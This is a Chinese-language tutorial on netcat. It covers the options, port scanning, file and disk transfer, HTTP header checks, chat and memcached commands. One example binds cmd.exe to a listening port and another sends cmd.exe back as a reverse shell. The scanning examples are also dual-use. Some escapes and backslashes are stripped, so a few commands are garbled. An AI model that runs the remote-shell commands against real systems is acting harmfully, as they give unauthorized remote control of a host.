1、基本使用 
想要连接到某处: nc [-options] hostname port[s] [ports] ... 
绑定端口等待连接: nc -l -p port [-options] [hostname] [port] 
参数: 
-e prog 程序重定向,一旦连接,就执行 [危险!!] 
-g gateway source-routing hop point[s], up to 8 
-G num source-routing pointer: 4, 8, 12, ... 
-h 帮助信息 
-i secs 延时的间隔 
-l 监听模式,用于入站连接 
-n 指定数字的IP地址,不能用hostname 
-o file 记录16进制的传输 
-p port 本地端口号 
-r 任意指定本地及远程端口 
-s addr 本地源地址 
-u UDP模式 
-v 详细输出——用两个-v可得到更详细的内容 
-w secs timeout的时间 
-z 将输入输出关掉——用于扫描时 
其中端口号可以指定一个或者用lo-hi式的指定范围。 
例如:扫描端口 
tcp扫描 
C:\nc>nc -v -z -w2 192.168.0.80 1-140 
net [192.168.0.80] 140 (?) 
net [192.168.0.80] 139 (netbios-ssn) open 
net [192.168.0.80] 138 (?) 
net [192.168.0.80] 137 (netbios-ns) 
net [192.168.0.80] 136 (?) 
net [192.168.0.80] 135 (epmap) open 
net [192.168.0.80] 81 (?) open 
net [192.168.0.80] 80 (http) open 
net [192.168.0.80] 79 (finger) 
net [192.168.0.80] 25 (smtp) open 
net [192.168.0.80] 24 (?) 
net [192.168.0.80] 23 (telnet) 
net [192.168.0.80] 21 (ftp) 
udp扫描 
C:\nc>nc -u -v -z -w2 192.168.0.80 1-140 
net [192.168.0.80] 140 (?) open 
net [192.168.0.80] 139 (?) open 
net [192.168.0.80] 138 (netbios-dgm) open 
net [192.168.0.80] 137 (netbios-ns) open 
net [192.168.0.80] 54 (?) open 
net [192.168.0.80] 53 (domain) open 
net [192.168.0.80] 38 (?) open 
net [192.168.0.80] 37 (time) open 
net [192.168.0.80] 7 (echo) open 



nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口 


nc -l -p 80 开启本机的TCP 80端口并监听 


nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口 


nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口 


nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口 



二、常见使用
1、远程拷贝文件
从server1拷贝文件到server2上。需要先在server2上,,用nc激活监听,

server2上运行: nc -l 1234 > text.txt

server1上运行: nc 192.168.10.11 1234 < text.txt

注:server2上的监听要先打开


2、克隆硬盘或分区
操作与上面的拷贝是雷同的,只需要由dd获得硬盘或分区的数据,然后传输即可。
克隆硬盘或分区的操作,不应在已经mount的的系统上进行。所以,需要使用安装光盘引导后,进入拯救模式(或使用Knoppix工具光盘)启动系统后,在server2上进行类似的监听动作:

 nc -l -p 1234 | dd of=/dev/sda

server1上执行传输,即可完成从server1克隆sda硬盘到server2的任务:

 dd if=/dev/sda | nc192.168.10.11 1234

※ 完成上述工作的前提,是需要落实光盘的拯救模式支持服务器上的网卡,并正确配置IP。

3、端口扫描
可以执行:

# nc -v -w 2 192.168.10.11 -z 21-24
nc: connect to 192.168.10.11 port 21 (tcp) failed: Connection refused
Connection to 192.168.10.11 22 port [tcp/ssh] succeeded!
nc: connect to 192.168.10.11 port 23 (tcp) failed: Connection refused
nc: connect to 192.168.10.11 port 24 (tcp) failed: Connection refused 
-z后面跟的是要扫描的端口


4、保存Web页面

# while true; do nc -l -p 80 -q 1 < somepage.html; done


5、模拟HTTP Headers

引用[root@hatest1 ~]# nc 80
GET / HTTP/1.1
Host: ispconfig.org
Referrer: mypage.com
User-Agent: my-browser

HTTP/1.1 200 OK
Date: Tue, 16 Dec 2008 07:23:24 GMT
Server: Apache/2.2.6 (Unix) DAV/2 mod_mono/1.2.1 mod_python/3.2.8 Python/2.4.3 mod_perl/2.0.2 Perl/v5.8.8
Set-Cookie: PHPSESSID=bbadorbvie1gn037iih6lrdg50; path=/
Expires: 0
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Cache-Control: private, post-check=0, pre-check=0, max-age=0
Set-Cookie: oWn_sid=xRutAY; expires=Tue, 23-Dec-2008 07:23:24 GMT; path=/
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html
[......]

在nc命令后,输入红色部分的内容,然后按两次回车,即可从对方获得HTTP Headers内容。

6、聊天
nc还可以作为简单的字符下聊天工具使用,同样的,server2上需要启动监听:

server2上启动:# nc -lp 1234 
server1上传输:# nc 192.168.10.11 1234


这样,双方就可以相互交流了。使用Ctrl+D正常退出。

7、传输目录
从server1拷贝nginx-0.6.34目录内容到server2上。需要先在server2上,用nc激活监听,

server2上运行:# nc -l 1234 |tar xzvf -

server1上运行:# tar czvf - nginx-0.6.34|nc 192.168.10.11 1234

 


8、用nc命名操作memcached

1)存储数据:printf “set key 0 10 6rnresultrn” |nc 192.168.10.11 11211
2)获取数据:printf “get keyrn” |nc 192.168.10.11 11211
3)删除数据:printf “delete keyrn” |nc 192.168.10.11 11211
4)查看状态:printf “statsrn” |nc 192.168.10.11 11211
5)模拟top命令查看状态:watch “echo stats” |nc 192.168.10.11 11211
6)清空缓存:printf “flush_allrn” |nc 192.168.10.11 11211 (小心操作,清空了缓存就没了)



nc -p 1234 -w 5 host.example.com 80


建立从本地1234端口到host.example.com的80端口连接,5秒超时


nc -u host.example.com 53


u为UDP连接


nc -v -z host.example.com 70-80


扫描端口(70到80),可指定范围。-v输出详细信息。